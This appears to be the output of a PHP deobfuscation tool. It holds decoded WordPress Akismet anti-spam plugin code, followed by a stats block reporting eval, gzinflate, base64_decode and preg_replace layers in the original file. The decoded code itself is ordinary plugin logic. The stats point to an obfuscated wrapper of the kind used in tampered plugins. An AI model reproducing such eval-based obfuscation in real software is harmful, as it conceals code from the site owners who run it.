	$code = $msg = null;
	if ( isset($response[0]['x-akismet-alert-code']) ) {
		$code = $response[0]['x-akismet-alert-code'];
		$msg = $response[0]['x-akismet-alert-msg'];
	}
	
	// only call update_option() if the value has changed
	if ( $code != get_option( 'akismet_alert_code' ) ) {
		update_option( 'akismet_alert_code', $code );
		update_option( 'akismet_alert_msg', $msg );
	}
}

function akismet_verify_key( $key, $ip = null ) {
	$response = akismet_check_key_status( $key, $ip );
	akismet_update_alert( $response );
	if ( !is_array($response) || !isset($response[1]) || $response[1] != 'valid' && $response[1] != 'invalid' )
		return 'failed';
	return $response[1];
}

// if we're in debug or test modes, use a reduced service level so as not to polute training or stats data
function akismet_test_mode() {
	if ( defined('AKISMET_TEST_MODE') && AKISMET_TEST_MODE )
		return true;
	return false;
}

// return a comma-separated list of role names for the given user
function akismet_get_user_roles( $user_id ) {
	$roles = false;
	
	if ( !class_exists('WP_User') )
		return false;
	
	if ( $user_id > 0 ) {
		$comment_user = new WP_User($user_id);
		if ( isset($comment_user->roles) )
			$roles = join(',', $comment_user->roles);
	}

	if ( is_multisite() && is_super_admin( $user_id ) ) {
		if ( empty( $roles ) ) {
			$roles = 'super_admin';
		} else {
			$comment_user->roles[] = 'super_admin';
			$roles = join( ',', $comment_user->roles );
		}
	}

	return $roles;
}

// Returns array with headers in $response[0] and body in $response[1]
function akismet_http_post($request, $host, $path, $port = 80, $ip=null) {
	global $wp_version;

	$akismet_ua = "WordPress/{$wp_version} | ";
	$akismet_ua .= 'Akismet/' . constant( 'AKISMET_VERSION' );

	$akismet_ua = apply_filters( 'akismet_ua', $akismet_ua );

	$content_length = strlen( $request );

	$http_host = $host;
	// use a specific IP if provided
	// needed by akismet_check_server_connectivity()
	if ( $ip && long2ip( ip2long( $ip ) ) ) {
		$http_host = $ip;
	} else {
		$http_host = $host;
	}
	
	// use the WP HTTP class if it is available
	if ( function_exists( 'wp_remote_post' ) ) {
		$http_args = array(
			'body'			=> $request,
			'headers'		=> array(
				'Content-Type'	=> 'application/x-www-form-urlencoded; ' .
									'charset=' . get_option( 'blog_charset' ),
				'Host'			=> $host,
				'User-Agent'	=> $akismet_ua
			),
			'httpversion'	=> '1.0',
			'timeout'		=> 15
		);
		$akismet_url = "http://{$http_host}{$path}";
		$response = wp_remote_post( $akismet_url, $http_args );
		if ( is_wp_error( $response ) )
			return '';

		return array( $response['headers'], $response['body'] );
	} else {
		$http_request  = "POST $path HTTP/1.0\r\n";
		$http_request .= "Host: $host\r\n";
		$http_request .= 'Content-Type: application/x-www-form-urlencoded; charset=' . get_option('blog_charset') . "\r\n";
		$http_request .= "Content-Length: {$content_length}\r\n";
		$http_request .= "User-Agent: {$akismet_ua}\r\n";
		$http_request .= "\r\n";
		$http_request .= $request;
		
		$response = '';
		if( false != ( $fs = @fsockopen( $http_host, $port, $errno, $errstr, 10 ) ) ) {
			fwrite( $fs, $http_request );

			while ( !feof( $fs ) )
				$response .= fgets( $fs, 1160 ); // One TCP-IP packet
			fclose( $fs );
			$response = explode( "\r\n\r\n", $response, 2 );
		}
		return $response;
	}
}

// filter handler used to return a spam result to pre_comment_approved
function akismet_result_spam( $approved ) {
	// bump the counter here instead of when the filter is added to reduce the possibility of overcounting
	if ( $incr = apply_filters('akismet_spam_count_incr', 1) )
		update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr );
	// this is a one-shot deal
	remove_filter( 'pre_comment_approved', 'akismet_result_spam' );
	return 'spam';
}

function akismet_result_hold( $approved ) {
	// once only
	remove_filter( 'pre_comment_approved', 'akismet_result_hold' );
	return '0';
}

// how many approved comments does this author have?
function akismet_get_user_comments_approved( $user_id, $comment_author_email, $comment_author, $comment_author_url ) {
	global $wpdb;
	
	if ( !empty($user_id) )
		return $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE user_id = %d AND comment_approved = 1", $user_id ) );
		
	if ( !empty($comment_author_email) )
		return $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1", $comment_author_email, $comment_author, $comment_author_url ) );
		
	return 0;
}

function akismet_microtime() {
	$mtime = explode( ' ', microtime() );
	return $mtime[1] + $mtime[0];
}

// log an event for a given comment, storing it in comment_meta
function akismet_update_comment_history( $comment_id, $message, $event=null ) {
	global $current_user;

	// failsafe for old WP versions
	if ( !function_exists('add_comment_meta') )
		return false;
	
	$user = '';
	if ( is_object($current_user) && isset($current_user->user_login) )
		$user = $current_user->user_login;

	$event = array(
		'time' => akismet_microtime(),
		'message' => $message,
		'event' => $event,
		'user' => $user,
	);

	// $unique = false so as to allow multiple values per comment
	$r = add_comment_meta( $comment_id, 'akismet_history', $event, false );
}

// get the full comment history for a given comment, as an array in reverse chronological order
function akismet_get_comment_history( $comment_id ) {
	
	// failsafe for old WP versions
	if ( !function_exists('add_comment_meta') )
		return false;

	$history = get_comment_meta( $comment_id, 'akismet_history', false );
	usort( $history, 'akismet_cmp_time' );
	return $history;
}

function akismet_cmp_time( $a, $b ) {
	return $a['time'] > $b['time'] ? -1 : 1;
}

// this fires on wp_insert_comment.  we can't update comment_meta when akismet_auto_check_comment() runs
// because we don't know the comment ID at that point.
function akismet_auto_check_update_meta( $id, $comment ) {
	global $akismet_last_comment;

	// failsafe for old WP versions
	if ( !function_exists('add_comment_meta') )
		return false;

	if ( !isset( $akismet_last_comment['comment_author_email'] ) )
		$akismet_last_comment['comment_author_email'] = '';

	// wp_insert_comment() might be called in other contexts, so make sure this is the same comment
	// as was checked by akismet_auto_check_comment
	if ( is_object($comment) && !empty($akismet_last_comment) && is_array($akismet_last_comment) ) {
		if ( isset($akismet_last_comment['comment_post_ID']) && intval($akismet_last_comment['comment_post_ID']) == intval($comment->comment_post_ID)
			&& $akismet_last_comment['comment_author'] == $comment->comment_author
			&& $akismet_last_comment['comment_author_email'] == $comment->comment_author_email ) {
				// normal result: true or false
				if ( $akismet_last_comment['akismet_result'] == 'true' ) {
					update_comment_meta( $comment->comment_ID, 'akismet_result', 'true' );
					akismet_update_comment_history( $comment->comment_ID, __('Akismet caught this comment as spam'), 'check-spam' );
					if ( $comment->comment_approved != 'spam' )
						akismet_update_comment_history( $comment->comment_ID, sprintf( __('Comment status was changed to %s'), $comment->comment_approved), 'status-changed'.$comment->comment_approved );
				} elseif ( $akismet_last_comment['akismet_result'] == 'false' ) {
					update_comment_meta( $comment->comment_ID, 'akismet_result', 'false' );
					akismet_update_comment_history( $comment->comment_ID, __('Akismet cleared this comment'), 'check-ham' );
					if ( $comment->comment_approved == 'spam' ) {
						if ( wp_blacklist_check($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent) )
							akismet_update_comment_history( $comment->comment_ID, __('Comment was caught by wp_blacklist_check'), 'wp-blacklisted' );
						else
							akismet_update_comment_history( $comment->comment_ID, sprintf( __('Comment status was changed to %s'), $comment->comment_approved), 'status-changed-'.$comment->comment_approved );
					}
				// abnormal result: error
				} else {
					update_comment_meta( $comment->comment_ID, 'akismet_error', time() );
					akismet_update_comment_history( $comment->comment_ID, sprintf( __('Akismet was unable to check this comment (response: %s), will automatically retry again later.'), substr($akismet_last_comment['akismet_result'], 0, 50)), 'check-error' );
				}
				
				// record the complete original data as submitted for checking
				if ( isset($akismet_last_comment['comment_as_submitted']) )
					update_comment_meta( $comment->comment_ID, 'akismet_as_submitted', $akismet_last_comment['comment_as_submitted'] );
		}
	}
}

add_action( 'wp_insert_comment', 'akismet_auto_check_update_meta', 10, 2 );


function akismet_auto_check_comment( $commentdata ) {
	global $akismet_api_host, $akismet_api_port, $akismet_last_comment;

	$comment = $commentdata;
	$comment['user_ip']    = $_SERVER['REMOTE_ADDR'];
	$comment['user_agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null; 
	$comment['referrer']   = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null;
	$comment['blog']       = get_option('home');
	$comment['blog_lang']  = get_locale();
	$comment['blog_charset'] = get_option('blog_charset');
	$comment['permalink']  = get_permalink($comment['comment_post_ID']);
	
	if ( !empty( $comment['user_ID'] ) ) {
		$comment['user_role'] = akismet_get_user_roles( $comment['user_ID'] );
	}

	$akismet_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) );
	$comment['akismet_comment_nonce'] = 'inactive';
	if ( $akismet_nonce_option == 'true' || $akismet_nonce_option == '' ) {
		$comment['akismet_comment_nonce'] = 'failed';
		if ( isset( $_POST['akismet_comment_nonce'] ) && wp_verify_nonce( $_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'] ) )
			$comment['akismet_comment_nonce'] = 'passed';

		// comment reply in wp-admin
		if ( isset( $_POST['_ajax_nonce-replyto-comment'] ) && check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ) )
			$comment['akismet_comment_nonce'] = 'passed';

	}

	if ( akismet_test_mode() )
		$comment['is_test'] = 'true';
		
	foreach ($_POST as $key => $value ) {
		if ( is_string($value) )
			$comment["POST_{$key}"] = $value;
	}

	$ignore = array( 'HTTP_COOKIE', 'HTTP_COOKIE2', 'PHP_AUTH_PW' );

	foreach ( $_SERVER as $key => $value ) {
		if ( !in_array( $key, $ignore ) && is_string($value) )
			$comment["$key"] = $value;
		else
			$comment["$key"] = '';
	}

	$post = get_post( $comment['comment_post_ID'] );
	$comment[ 'comment_post_modified_gmt' ] = $post->post_modified_gmt;

	$query_string = '';
	foreach ( $comment as $key => $data )
		$query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';
		
	$commentdata['comment_as_submitted'] = $comment;

	$response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port);
	do_action( 'akismet_comment_check_response', $response );
	akismet_update_alert( $response );
	$commentdata['akismet_result'] = $response[1];
	if ( 'true' == $response[1] ) {
		// akismet_spam_count will be incremented later by akismet_result_spam()
		add_filter('pre_comment_approved', 'akismet_result_spam');

		do_action( 'akismet_spam_caught' );

		$last_updated = strtotime( $post->post_modified_gmt );
		$diff = time() - $last_updated;
		$diff = $diff / 86400;
		
		if ( $post->post_type == 'post' && $diff > 30 && get_option( 'akismet_discard_month' ) == 'true' && empty($comment['user_ID']) ) {
			// akismet_result_spam() won't be called so bump the counter here
			if ( $incr = apply_filters('akismet_spam_count_incr', 1) )
				update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr );
			$redirect_to = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : get_permalink( $post );
			wp_safe_redirect( $redirect_to );
			die();
		}
	}
	
	// if the response is neither true nor false, hold the comment for moderation and schedule a recheck
	if ( 'true' != $response[1] && 'false' != $response[1] ) {
		if ( !current_user_can('moderate_comments') ) {
			add_filter('pre_comment_approved', 'akismet_result_hold');
		}
		if ( !wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) {
			wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
		}
	}
	
	if ( function_exists('wp_next_scheduled') && function_exists('wp_schedule_event') ) {
		// WP 2.1+: delete old comments daily
		if ( !wp_next_scheduled('akismet_scheduled_delete') )
			wp_schedule_event(time(), 'daily', 'akismet_scheduled_delete');
	} elseif ( (mt_rand(1, 10) == 3) ) {
		// WP 2.0: run this one time in ten
		akismet_delete_old();
	}
	$akismet_last_comment = $commentdata;

	akismet_fix_scheduled_recheck();
	return $commentdata;
}

add_action('preprocess_comment', 'akismet_auto_check_comment', 1);

function akismet_delete_old() {
	global $wpdb;
	$now_gmt = current_time('mysql', 1);
	$comment_ids = $wpdb->get_col("SELECT comment_id FROM $wpdb->comments WHERE DATE_SUB('$now_gmt', INTERVAL 15 DAY) > comment_date_gmt AND comment_approved = 'spam'");
	if ( empty( $comment_ids ) )
		return;
		
	$comma_comment_ids = implode( ', ', array_map('intval', $comment_ids) );

	do_action( 'delete_comment', $comment_ids );
	$wpdb->query("DELETE FROM $wpdb->comments WHERE comment_id IN ( $comma_comment_ids )");
	$wpdb->query("DELETE FROM $wpdb->commentmeta WHERE comment_id IN ( $comma_comment_ids )");
	clean_comment_cache( $comment_ids );
	$n = mt_rand(1, 5000);
	if ( apply_filters('akismet_optimize_table', ($n == 11)) ) // lucky number
		$wpdb->query("OPTIMIZE TABLE $wpdb->comments");

}

function akismet_delete_old_metadata() { 
	global $wpdb; 

	$now_gmt = current_time( 'mysql', 1 ); 
	$interval = apply_filters( 'akismet_delete_commentmeta_interval', 15 );

	# enfore a minimum of 1 day
	$interval = absint( $interval );
	if ( $interval < 1 ) {
		return;
	}

	// akismet_as_submitted meta values are large, so expire them 
	// after $interval days regardless of the comment status 
	while ( TRUE ) {
		$comment_ids = $wpdb->get_col( "SELECT $wpdb->comments.comment_id FROM $wpdb->commentmeta INNER JOIN $wpdb->comments USING(comment_id) WHERE meta_key = 'akismet_as_submitted' AND DATE_SUB('$now_gmt', INTERVAL {$interval} DAY) > comment_date_gmt LIMIT 10000" ); 

		if ( empty( $comment_ids ) ) {
			return; 
		}

		foreach ( $comment_ids as $comment_id ) {
			delete_comment_meta( $comment_id, 'akismet_as_submitted' );
		}
	}

	/*
	$n = mt_rand( 1, 5000 ); 
	if ( apply_filters( 'akismet_optimize_table', ( $n == 11 ), 'commentmeta' ) ) { // lucky number 
		$wpdb->query( "OPTIMIZE TABLE $wpdb->commentmeta" ); 
	}
	*/
} 

add_action('akismet_scheduled_delete', 'akismet_delete_old');
add_action('akismet_scheduled_delete', 'akismet_delete_old_metadata'); 

function akismet_check_db_comment( $id, $recheck_reason = 'recheck_queue' ) {
    global $wpdb, $akismet_api_host, $akismet_api_port;

    $id = (int) $id;
    $c = $wpdb->get_row( "SELECT * FROM $wpdb->comments WHERE comment_ID = '$id'", ARRAY_A );
    if ( !$c )
        return;

    $c['user_ip']    = $c['comment_author_IP'];
    $c['user_agent'] = $c['comment_agent'];
    $c['referrer']   = '';
    $c['blog']       = get_option('home');
    $c['blog_lang']  = get_locale();
    $c['blog_charset'] = get_option('blog_charset');
    $c['permalink']  = get_permalink($c['comment_post_ID']);
    $id = $c['comment_ID'];
	if ( akismet_test_mode() )
		$c['is_test'] = 'true';
	$c['recheck_reason'] = $recheck_reason;

    $query_string = '';
    foreach ( $c as $key => $data )
    $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&';

    $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port);
    return ( is_array( $response ) && isset( $response[1] ) ) ? $response[1] : false;
}

function akismet_cron_recheck() {
	global $wpdb;

	$status = akismet_verify_key( akismet_get_key() );
	if ( get_option( 'akismet_alert_code' ) || $status == 'invalid' ) {
		// since there is currently a problem with the key, reschedule a check for 6 hours hence
		wp_schedule_single_event( time() + 21600, 'akismet_schedule_cron_recheck' );
		return false;
	}
	
	delete_option('akismet_available_servers');

	$comment_errors = $wpdb->get_col( "
		SELECT comment_id
		FROM {$wpdb->prefix}commentmeta
		WHERE meta_key = 'akismet_error'
		LIMIT 100
	" );
	
	foreach ( (array) $comment_errors as $comment_id ) {
		// if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck
		$comment = get_comment( $comment_id );
		if ( !$comment || strtotime( $comment->comment_date_gmt ) < strtotime( "-15 days" ) ) {
			delete_comment_meta( $comment_id, 'akismet_error' );
			continue;
		}
		
		add_comment_meta( $comment_id, 'akismet_rechecking', true );
		$status = akismet_check_db_comment( $comment_id, 'retry' );

		$msg = '';
		if ( $status == 'true' ) {
			$msg = __( 'Akismet caught this comment as spam during an automatic retry.' );
		} elseif ( $status == 'false' ) {
			$msg = __( 'Akismet cleared this comment during an automatic retry.' );
		}
		
		// If we got back a legit response then update the comment history
		// other wise just bail now and try again later.  No point in
		// re-trying all the comments once we hit one failure.
		if ( !empty( $msg ) ) {
			delete_comment_meta( $comment_id, 'akismet_error' );
			akismet_update_comment_history( $comment_id, $msg, 'cron-retry' );
			update_comment_meta( $comment_id, 'akismet_result', $status );
			// make sure the comment status is still pending.  if it isn't, that means the user has already moved it elsewhere.
			$comment = get_comment( $comment_id );
			if ( $comment && 'unapproved' == wp_get_comment_status( $comment_id ) ) {
				if ( $status == 'true' ) {
					wp_spam_comment( $comment_id );
				} elseif ( $status == 'false' ) {
					// comment is good, but it's still in the pending queue.  depending on the moderation settings
					// we may need to change it to approved.
					if ( check_comment($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type) )
						wp_set_comment_status( $comment_id, 1 );
				}
			}
		} else {
			delete_comment_meta( $comment_id, 'akismet_rechecking' );
			wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
			return;
		}
		delete_comment_meta( $comment_id, 'akismet_rechecking' );
	}
	
	$remaining = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->commentmeta WHERE meta_key = 'akismet_error'" );
	if ( $remaining && !wp_next_scheduled('akismet_schedule_cron_recheck') ) {
		wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
	}
}
add_action( 'akismet_schedule_cron_recheck', 'akismet_cron_recheck' );

function akismet_add_comment_nonce( $post_id ) {
	echo '<p style="display: none;">';
	wp_nonce_field( 'akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', FALSE );
	echo '</p>';
}

$akismet_comment_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) );

if ( $akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '' )
	add_action( 'comment_form', 'akismet_add_comment_nonce' );

global $wp_version;
if ( '3.0.5' == $wp_version ) { 
	remove_filter( 'comment_text', 'wp_kses_data' ); 
	if ( is_admin() ) 
		add_filter( 'comment_text', 'wp_kses_post' ); 
}

function akismet_fix_scheduled_recheck() {
	$future_check = wp_next_scheduled( 'akismet_schedule_cron_recheck' );
	if ( !$future_check ) {
		return;
	}

	if ( get_option( 'akismet_alert_code' ) > 0 ) {
		return;
	}

	$check_range = time() + 1200;
	if ( $future_check > $check_range ) {
		wp_clear_scheduled_hook( 'akismet_schedule_cron_recheck' );
		wp_schedule_single_event( time() + 300, 'akismet_schedule_cron_recheck' );
	}
}

Function Calls

define 1
strrev 1
gzinflate 2
preg_replace 1
base64_decode 2
function_exists 1

Variables

$hohfcvss e/*./

Stats

MD5 cfcaa1fedf48358e61570ccf211310a3
Eval Count 3
Decode Time 230 ms